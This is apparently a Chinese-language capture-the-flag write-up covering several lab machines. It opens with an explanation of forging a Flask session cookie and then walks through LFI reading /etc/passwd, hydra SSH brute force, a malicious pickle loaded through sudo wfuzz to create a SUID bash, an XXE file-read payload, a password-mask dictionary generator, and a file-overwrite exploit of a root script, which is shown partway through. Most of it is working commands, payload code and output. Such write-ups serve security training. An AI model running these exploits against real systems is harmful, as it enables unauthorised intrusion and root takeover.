不同用户、不同时间登录,_id 全是同一个 128 位 hex 字符串。说明这个值很可能是硬编码的或者用固定值算出来的,跟用户无关。所以伪造 admin session 时直接照搬,不需要做任何修改。

signer.dumps() 完成三件事:

  1. 序列化:用 TaggedJSONSerializer 把 Python dict 转成 JSON 字符串(bytes 类型用 {" b": "..."} 标记)
  2. 压缩:如果数据较大,用 zlib 压缩
  3. 签名:用 ckj123 对数据做 HMAC 签名,拼成 数据.时间戳.签名 的格式

反过来 signer.loads(cookie) 就是验证签名 → 解压 → 反序列化。

所以这行代码等于 “用偷来的 secret key,按 Flask 原生的方式,捏了一个合法的 admin cookie”。服务器收到后验签通过,就把它当成真 session 处理。

以具体 cookie 为例:

1
eyJpbWFnZSI6eyIgYiI6IlRqZzVkdz09In19.afZi0A.INh_Tm4CdxnzFFTWaN25kdt7i4c

三个部分以 . 分隔:

部分 长度 说明
Payload eyJpbWFnZSI6eyIgYiI6IlRqZzVkdz09In19 36 字符 URL-safe base64 编码的 JSON 数据,解码后为 {"image":{" b":"Tjg5dw=="}}。长度不固定,取决于 session 数据量
Timestamp afZi0A 6 字符 base62 编码的 Unix 时间戳整数
Signature INh_Tm4CdxnzFFTWaN25kdt7i4c 27 字符 HMAC-SHA1 签名,原始输出固定 20 bytes(160 bits),URL-safe base64 编码后 = ceil(160÷6) = 27 字符,无填充

总结:payload 长度可变(上例 36 字符,带 csrf_token 时 107 字符),timestamp 一般 6 字符,signature 固定 27 字符

探测

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.43.99
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-08 14:52 CST
Nmap scan report for 111 (192.168.43.99)
Host is up (0.00030s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:83:10:2F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

┌──(root㉿kali)-[~]
└─# nmap -p 22,80 -sVC -A 192.168.43.99
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-08 14:55 CST
Nmap scan report for 111 (192.168.43.99)
Host is up (0.00046s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:83:10:2F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.46 ms 111 (192.168.43.99)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.61 seconds

gobuster

无有用的数据,那就试试gobuster

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kali)-[~]
└─# gobuster dir -u http://192.168.43.99 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,htm
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.43.99
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php,html,txt,htm
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 20592]
/file.php (Status: 200) [Size: 0]
/server-status (Status: 403) [Size: 278]
Progress: 1102790 / 1102790 (100.00%)
===============================================================
Finished
===============================================================

发现index.html file.php
存在本地文件包含(LFI)漏洞

wfuzz

先用wfuzz测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root㉿kali)-[~/localkali/testpayload]
└─# wfuzz -c -w /usr/share/wordlists/wfuzz/general/common.txt --ss "root:x:0:0" -u "http://192.168.3.42/file.php?FUZZ=/etc/passwd"
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://192.168.3.42/file.php?FUZZ=/etc/passwd
Total requests: 951

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000341: 200 26 L 38 W 1386 Ch "file"

Total time: 0
Processed Requests: 951
Filtered Requests: 950
Requests/sec.: 0

发现目标 ==file==

命令片段 含义 & 核心作用
wfuzz 调用 Wfuzz 主程序,启动模糊测试工具
-c 启用彩色输出功能,让测试结果中的状态码、响应长度等信息按不同颜色区分,提升可读性,方便快速筛选有效结果
-w /usr/share/wordlists/wfuzz/general/common.txt 加载本地字典文件作为测试 payload- -w:指定文本格式字典文件的参数(与之前 -z加载序列化文件不同,专用于纯文本词表)- 后续路径:Wfuzz 自带的通用常见字典,包含常用的 URL 参数名(如 filepath
includedir等)、目录名,适合基础探测
--ss "root:x:0:0" 结果筛选核心参数,只保留响应内容中包含指定字符串的请求- --ss:全称 --string-match,意为 “字符串匹配”,反向参数是 --hs(隐藏匹配指定字符串的结果)- "root:x:0:0":Linux 系统 /etc/passwd文件中 root 用户的标志性内容,只有成功读取到该文件,响应中才会包含此字符串,以此判断漏洞是否存在
-u "http://192.168.3.42/file.php?FUZZ=/etc/passwd" 指定测试目标 URL 及模糊测试位置- -u:目标 URL 参数 - file.php待测试的后端脚本文件; - FUZZ:Wfuzz 占位符,此处位于 URL 的查询参数名位置,执行时会被 common.txt
中的每一个字典值替换(例如替换为 filepath等,形成 ?file=/etc/passwd?path=/etc/passwd
等请求)- /etc/passwd:待读取的 Linux 敏感系统文件,作为查询参数的值,用于尝试触发文件包含

构造payload

1
curl -v http://192.168.43.99/file.php\?file\=/etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
*   Trying 192.168.43.99:80...
* Connected to 192.168.43.99 (192.168.43.99) port 80
> GET /file.php?file=/etc/passwd HTTP/1.1
> Host: 192.168.43.99
> User-Agent: curl/8.7.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Thu, 08 Jan 2026 07:51:37 GMT
< Server: Apache/2.4.62 (Debian)
< Vary: Accept-Encoding
< Content-Length: 1386
< Content-Type: text/html; charset=UTF-8
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
tao:x:1000:1000:,,,:/home/tao:/bin/bash
* Connection #0 to host 192.168.43.99 left intact

发现有个==tao==用户, 结合80端口页面,提示我们使用 rockyou.tx 爆破密码了

hydra

一开始很慢,看到提示-t 4,加上很快就爆破出来

1
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[~]
└─# hydra -t 4 -l tao -P /usr/share/wordlists/rockyou.txt ssh://192.168.43.99
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-08 16:15:00
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://192.168.43.99:22/
[22][ssh] host: 192.168.43.99 login: tao password: rockyou
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-08 16:15:19

爆破结果
==[22][ssh] host: 192.168.43.99 login: tao password: rockyou==

ssh

1
2
tao@111:~$ cat user.txt 
flag{user-21747e1ca09bfcc4f2551263db0f3dff}

提权

发现两个 (ALL) NOPASSWD: /usr/bin/wfuzz (ALL) NOPASSWD: /usr/bin/id

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
tao@111:~$ sudo -l
Matching Defaults entries for tao on 111:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tao may run the following commands on 111:
(ALL) NOPASSWD: /usr/bin/wfuzz
(ALL) NOPASSWD: /usr/bin/id

tao@111:~$ cat /usr/bin/wfuzz
#!/usr/bin/python3
# EASY-INSTALL-ENTRY-SCRIPT: 'wfuzz==3.1.0','console_scripts','wfuzz'
import re
import sys

# for compatibility with easy_install; see #2198
__requires__ = 'wfuzz==3.1.0'

try:
from importlib.metadata import distribution
except ImportError:
try:
from importlib_metadata import distribution
except ImportError:
from pkg_resources import load_entry_point


def importlib_load_entry_point(spec, group, name):
dist_name, _, _ = spec.partition('==')
matches = (
entry_point
for entry_point in distribution(dist_name).entry_points
if entry_point.group == group and entry_point.name == name
)
return next(matches).load()


globals().setdefault('load_entry_point', importlib_load_entry_point)


if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(load_entry_point('wfuzz==3.1.0', 'console_scripts', 'wfuzz')())

脚本的核心作用

1
2
这个脚本的核心作用是作为一个“引导程序”。当你直接在终端中输入 `wfuzz`并执行时,系统最终会运行这个脚本。它的任务很简单:找到 `wfuzz`软件包中真正的命令行主程序,并启动它。
你可以把这种关系理解为:这个 `/usr/bin/wfuzz`脚本是一个统一的“前台接待员”,而真正的“业务处理部门”可能安装在系统Python环境的某个目录里。这个脚本负责把两者连接起来

cat /usr/bin/id 一堆乱码

(此处别人的wp方案)发现 wfuzzp payload, 查看其帮助:

1
sudo /usr/bin/wfuzz -z help --slice wfuzzp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
tao@111:/tmp$ sudo /usr/bin/wfuzz -z help --slice wfuzzp
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
Name: wfuzzp 0.2
Categories: default
Summary: Returns fuzz results' URL from a previous stored wfuzz session.
Author: Xavi Mendez (@xmendez)
Description:
This payload uses pickle.
Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data.
Never unpickle data received from an untrusted or unauthenticated source.
See: https://blog.nelhage.com/2011/03/exploiting-pickle/
Parameters:
+ fn (= ): Filename of a valid wfuzz result file.
- attr: Attribute of fuzzresult to return. If not specified the whole object is returned.

查看wfuzz的路径

1
2
3
4
5
tao@111:~$ which wfuzz
/usr/bin/wfuzz
tao@111:~$ python3 -c 'import wfuzz; print(wfuzz.__file__)'
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
/usr/lib/python3/dist-packages/wfuzz/__init__.py

查找关键字(exec、eval、system 和 pickle)这块卡主了也是问下别人的了思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
tao@111:~$ grep -r 'pickle' /usr/lib/python3/dist-packages/wfuzz/
Binary file /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/__pycache__/wfuzzp.cpython-39.pyc matches
/usr/lib/python3/dist-packages/wfuzz/plugins/payloads/wfuzzp.py:import pickle as pickle
/usr/lib/python3/dist-packages/wfuzz/plugins/payloads/wfuzzp.py:
"This payload uses pickle.",
/usr/lib/python3/dist-packages/wfuzz/plugins/payloads/wfuzzp.py: "Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data.",
/usr/lib/python3/dist-packages/wfuzz/plugins/payloads/wfuzzp.py:
"Never unpickle data received from an untrusted or unauthenticated source.",
/usr/lib/python3/dist-packages/wfuzz/plugins/payloads/wfuzzp.py:
"See: https://blog.nelhage.com/2011/03/exploiting-pickle/",
/usr/lib/python3/dist-packages/wfuzz/plugins/payloads/wfuzzp.py: item = pickle.load(output)
Binary file /usr/lib/python3/dist-packages/wfuzz/__pycache__/fuzzqueues.cpython-39.pyc matches
/usr/lib/python3/dist-packages/wfuzz/fuzzqueues.py:import pickle as pickle
/usr/lib/python3/dist-packages/wfuzz/fuzzqueues.py: pickle.dump(item, self.output_fn)

命令解释:

  • -r: 递归搜索(Recursive),搜索该目录及其所有子目录下的文件。
  • pickle: 我要查找的关键字符串,它是 Python 中反序列化模块的名称。
  • /usr/lib/python3/dist-packages/wfuzz/: 搜索的目标路径。

搜索wfuzz存在的漏洞 反序列化
“介绍一下python中的 Pickle …”点击查看元宝的回答
https://yb.tencent.com/s/YRwA173TC8v7

关键原理:Pickle 反序列化 wfuzz 在加载文件时,使用的是 Python 的 pickle 模块。

  • 序列化: 把内存中的对象(比如代码、数据)变成二进制流保存到文件。
  • 反序列化: 把文件中的二进制流变回内存对象。
  • 漏洞: pickle 是不安全的。如果我们在文件中构造一段恶意的二进制流,当程序(以 root 权限)反序列化它时,就会自动执行我们在其中嵌入的恶意代码。

制作payload

让AI写一个python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# gen_pickle.py
import pickle
import os

class RCE:
def __reduce__(self):
# 这段代码会被靶机以 root 权限执行
# 1. 复制 /bin/bash 到 /tmp/rootbash
# 2. chmod +s 赋予 SUID 权限
cmd = "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash"
return (os.system, (cmd,))

# 生成恶意的 pickle 数据并写入文件
with open("pwn.pickle", "wb") as f:
f.write(pickle.dumps(RCE()))

/usr/lib/python3/dist-packages/wfuzz/plugins/payloads/wfuzzp.py
在上面这个路径的文件中,有非常关键的一行代码决定了我们需要使用 Gzip 格式:

1
2
3
4
5
6
7
1     def _gen_wfuzz(self, output_fn):
2 try:
3 # 这里的 gzip.open 是关键证据
4 with gzip.open(self.find_file(output_fn), "r+b") as output:
5 while 1:
6 item = pickle.load(output)
7 # ...

wfuzz 在加载文件时会检查文件是否是 Gzip 压缩格式,所以我们需要压缩它:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿kali)-[~/localkali/testpayload]
└─# nano gen_pickle.py

┌──(root㉿kali)-[~/localkali/testpayload]
└─# python3 gen_pickle.py

┌──(root㉿kali)-[~/localkali/testpayload]
└─# ls -l
总计 8
-rw-r--r-- 1 root root 442 1月 8日 20:49 gen_pickle.py
-rw-r--r-- 1 root root 88 1月 8日 20:50 pwn.pickle

┌──(root㉿kali)-[~/localkali/testpayload]
└─# gzip -f pwn.pickle

┌──(root㉿kali)-[~/localkali/testpayload]
└─# ls -l
总计 8
-rw-r--r-- 1 root root 442 1月 8日 20:49 gen_pickle.py
-rw-r--r-- 1 root root 101 1月 8日 20:50 pwn.pickle.gz

┌──(root㉿kali)-[~/localkali/testpayload]
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.3.42 - - [08/Jan/2026 20:54:41] "GET /pwn.pickle.gz HTTP/1.1" 200 -

下载至靶机(靶机无wget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
tao@111:~$ cd /tmp
tao@111:/tmp$ ls -l
total 12
drwx------ 3 root root 4096 Jan 8 06:39 systemd-private-3cb28010eb0f4f118ffa13ace144e9dc-apache2.service-s9679i
drwx------ 3 root root 4096 Jan 8 06:39 systemd-private-3cb28010eb0f4f118ffa13ace144e9dc-systemd-logind.service-8WCDuh
drwx------ 3 root root 4096 Jan 8 06:39 systemd-private-3cb28010eb0f4f118ffa13ace144e9dc-systemd-timesyncd.service-AM08Di
tao@111:/tmp$ wget -h
-bash: wget: command not found
tao@111:/tmp$ curl -h
-bash: curl: command not found
tao@111:/tmp$ python3 -c "import urllib.request; urllib.request.urlretrieve('http://192.168.3.43:8000/pwn.pickle.gz', '/tmp/pwn.pickl
e.gz')"
tao@111:/tmp$ ls -l
total 16
-rw-r--r-- 1 tao tao 101 Jan 8 07:54 pwn.pickle.gz
drwx------ 3 root root 4096 Jan 8 06:39 systemd-private-3cb28010eb0f4f118ffa13ace144e9dc-apache2.service-s9679i
drwx------ 3 root root 4096 Jan 8 06:39 systemd-private-3cb28010eb0f4f118ffa13ace144e9dc-systemd-logind.service-8WCDuh
drwx------ 3 root root 4096 Jan 8 06:39 systemd-private-3cb28010eb0f4f118ffa13ace144e9dc-systemd-timesyncd.service-AM08Di
tao@111:/tmp$

执行payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
tao@111:/tmp$ sudo wfuzz -z wfuzz,/tmp/pwn.pickle.gz -u http://127.0.0.1/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://127.0.0.1/FUZZ
Total requests: <<unknown>>

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================


Total time: 0
Processed Requests: 0
Filtered Requests: 0
Requests/sec.: 0

/usr/lib/python3/dist-packages/wfuzz/wfuzz.py:78: UserWarning:Fatal exception: Wrong wfuzz payload format, the object read is not a valid fuzz result.
tao@111:/tmp$

-z wfuzz,/tmp/pwn.pickle.gz
核心参数:指定 payload 生成器

  • -z:Wfuzz 中用于定义 payload 源的核心参数,格式为 类型,参数
  • wfuzz:payload 类型,表示加载 Wfuzz 专用的序列化(pickle)格式文件
  • /tmp/pwn.pickle.gz:指定待加载的 pickle 压缩文件路径

-u http://127.0.0.1/FUZZ
指定测试目标 URL

  • -u:目标 URL 参数
  • FUZZ:Wfuzz 的占位符,执行时会被 payload 文件中的每一个值替换
1
2
3
4
tao@111:/tmp$ ls -l /tmp/rootbash
-rwsr-sr-x 1 root root 1168776 Jan 8 07:58 /tmp/rootbash
# 结果显示:-rwsr-sr-x 1 root root ...
# 注意那个 's',代表 SUID 权限设置成功。

使用payload

进入root shell, -p 代表 Privileged mode(特权模式)

1
2
3
4
5
6
7
8
9
10
11
12
tao@111:/tmp$ /tmp/rootbash -p
rootbash-5.0# whoami
root
rootbash-5.0# /usr/bin/id
uid=1000(tao) gid=1000(tao) euid=0(root) egid=0(root) groups=0(root),1000(tao)
rootbash-5.0# cd /root
rootbash-5.0# ls
111.txt root.txt
rootbash-5.0# cat 111.txt
q6I42RCMyMkDV45svyuF
rootbash-5.0# cat root.txt
flag{root-9bbd7af2a042a901b92dc203b3896621}

1.信息收集

构造payload

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

“解释下XXE漏洞”点击查看元宝的回答
https://yb.tencent.com/s/uFBGuZGahpLg

构造原理

1. DTD 定义部分

  • <!DOCTYPE root [ ... ]>: 定义了 XML 文档的类型,并允许在方括号 [] 内定义内部或外部实体。

2. 恶意实体声明

  • <!ENTITY xxe SYSTEM "file:///etc/passwd">:

    • <!ENTITY xxe ...>: 声明一个名为 xxe 的实体。
    • SYSTEM: 关键指令,指示解析器从外部资源获取数据。
    • "file:///etc/passwd": 指定资源的路径。通过 file:// 协议,攻击者可以访问服务器的文件系统。
    • 动作: 解析器会读取 /etc/passwd 的内容并将其存储在 xxe 实体中。

3. 实体引用部分

  • &xxe;: 在 XML 文档主体中引用该实体。
  • 动作: 解析器在处理文档时,会将 &xxe; 替换为实体的内容(即 /etc/passwd 的内容)。如果解析后的结果被返回给用户(如本项目中的 print_r 显示结果),文件内容就会泄露.

[!NOTE] 总结
因为服务器端的 XML 解析器没有禁用外部实体加载功能,所以当它解析这段代码时,实际上执行了以下操作:
1.看到 SYSTEM 指令。
2.去读取 /etc/passwd。 把文件内容塞到 <root> 标签里。
3.最后 PHP 代码把解析后的 <root> 内容打印到了网页上,导致文件泄露

页面结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
SimpleXMLElement Object
(
[0] => root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
tuf:x:1000:1000:KQNPHFqG**JHcYJossIe:/home/tuf:/bin/bash
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
Debian-snmp:x:107:114::/var/lib/snmp:/bin/false
zabbix:x:108:115::/nonexistent:/usr/sbin/nologin

)

2.ssh

发现tuf:x:1000:1000:KQNPHFqG**JHcYJossIe:/home/tuf:/bin/bash ,密码中间有两个*号,推测需要爆破

2.1 构造字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import string
import itertools
import os

# 定义掩码前后缀
prefix = "KQNPHFqG"
suffix = "JHcYJossIe"

# 定义所有可能的字符集 (数字 + 大小写字母 + 常见符号)
chars = string.digits + string.ascii_letters + string.punctuation

# 生成所有 2 位字符的组合
combinations = itertools.product(chars, repeat=2)

# 打开文件准备写入
output_file = os.path.join(os.path.dirname(__file__), "pass_dict.txt")
with open(output_file, "w") as f:
for combo in combinations:
middle = "".join(combo)
password = f"{prefix}{middle}{suffix}"
f.write(password + "\n")
# Cn1 * Cn1 = Cn2,即平方
print(f"字典生成完毕,已保存到 {output_file},共 {len(chars)**2} 个密码。")

运行结果:共 8836 个密码。

2.2hydra爆破

将生成的字典 pass_dict.txt 上传至 Kali,并使用 hydra 进行 SSH 爆破。

1
2
3
4
5
# 上传字典
sshpass -p kali scp -o StrictHostKeyChecking=no pass_dict.txt root@192.168.3.48:/root/pass_dict.txt

# 使用 hydra 爆破
sshpass -p kali ssh -o StrictHostKeyChecking=no root@192.168.3.48 "hydra -l tuf -P /root/pass_dict.txt ssh://192.168.3.212 -t 16 -I"

用户: tuf
密码: KQNPHFqG6mJHcYJossIe

发现user.txt

1
2
tuf@112:~$ cat user.txt 
flag{user-b1e12c74f19aac8e57f6fca1ff472905}

3.提权

查看root权限的文件

看下sudo -l 发现/opt/112.sh脚本

1
2
3
4
5
6
7
8
tuf@112:~$ sudo -l
Matching Defaults entries for tuf on 112:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tuf may run the following commands on 112:
(ALL) NOPASSWD: /opt/112.sh
tuf@112:~$ ls -l /opt/112.sh
-rwxr-xr-x 1 root root 993 Jan 8 04:56 /opt/112.sh

看下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/bin/bash
input_url=""
output_file=""
use_file=false
# 定义正则表达式:必须以 https://maze-sec.com/ 开头,后续只能包含字母、数字和斜杠
regex='^https://maze-sec.com/[a-zA-Z0-9/]*$'

# 使用 getopts 解析命令行参数 (-u URL, -o 输出文件)
while getopts ":u:o:" opt; do
case ${opt} in
u) input_url="$OPTARG" ;; # 获取输入的 URL
o) output_file="$OPTARG"; use_file=true ;; # 获取输出文件路径,并标记使用文件输出
\?) echo "错误: 无效选项 -$OPTARG"; exit 1 ;; # Corrected escape for backslash in case statement
:) echo "错误: 选项 -$OPTARG 需要一个参数"; exit 1 ;; # Corrected escape for backslash in case statement
esac
done

# 检查是否提供了 input_url
if [[ -z "$input_url" ]]; then
echo "错误: 必须使用 -u 参数提供URL"
exit 1
fi

# 检查 URL 格式:必须以指定域名开头
if [[ ! "$input_url" =~ ^https://maze-sec.com/ ]]; then
echo "错误: URL必须以 https://maze-sec.com/ 开头"
exit 1
fi

# 检查 URL 字符:必须符合 regex 定义的字符集(防止命令注入等,但允许路径字符)
if [[ ! "$input_url" =~ $regex ]]; then
echo "错误: URL包含非法字符,只允许字母、数字和斜杠"
exit 1
fi

# 随机决定输出结果是 "good" 还是 "bad"
if (( RANDOM % 2 )); then
result="$input_url is a good url."
else
result="$input_url is not a good url."
fi

# 漏洞点:如果指定了 -o,则将结果写入 output_file。
# 由于 script 以 root 权限运行,且未检查 output_file 的路径,攻击者可以覆盖系统任意文件。
if [ "$use_file" = true ]; then
echo "$result" > "$output_file"
echo "结果已保存到: $output_file"
else
echo "$result"
fi

漏洞利用思路

==覆盖脚本自身与相对路径执行==

虽然无法注入换行符或空格,但我们发现可以通过覆盖脚本 /opt/112.sh 自身来改变其行为。

  1. 构造 Payload:我们将 /opt/112.sh 里的内容覆盖为 https://maze-sec.com/x is not a good url.

  2. 触发执行:再次执行 sudo /opt/112.sh 时,Bash 会将第一行 https://maze-sec.com/x 解析为命令执行。

  3. 路径欺骗:由于 https://maze-sec.com/x 包含斜杠,Bash 会将其视为路径。如果在当前目录下存在目录结构 https:/maze-sec.com/ 且其中有可执行文件 x,它就会被执行。

    • 注意:在 Linux 中,路径 https://maze-sec.com/x 被解析为 https:/ (目录) -> maze-sec.com/ (目录) -> x (文件)。这实际上是一个相对路径。

提权步骤

方案一

  1. 准备恶意脚本: 在 /home/tuf 下创建目录结构和 Payload 脚本(赋予 SUID 权限给 bash):
1
2
3
4
5
mkdir -p https:/maze-sec.com/  
echo '#!/bin/bash
cp /bin/bash /tmp/bash
chmod +s /tmp/bash' > https:/maze-sec.com/x
chmod +x https:/maze-sec.com/x
  1. 覆盖目标脚本: 利用漏洞将 /opt/112.sh 覆盖为指向我们 Payload 的路径字符串:
1
sudo /opt/112.sh -u https://maze-sec.com/x -o /opt/112.sh

此时 /opt/112.sh 内容变为:https://maze-sec.com/x is a good url. (或 “... is not a good url.“)。

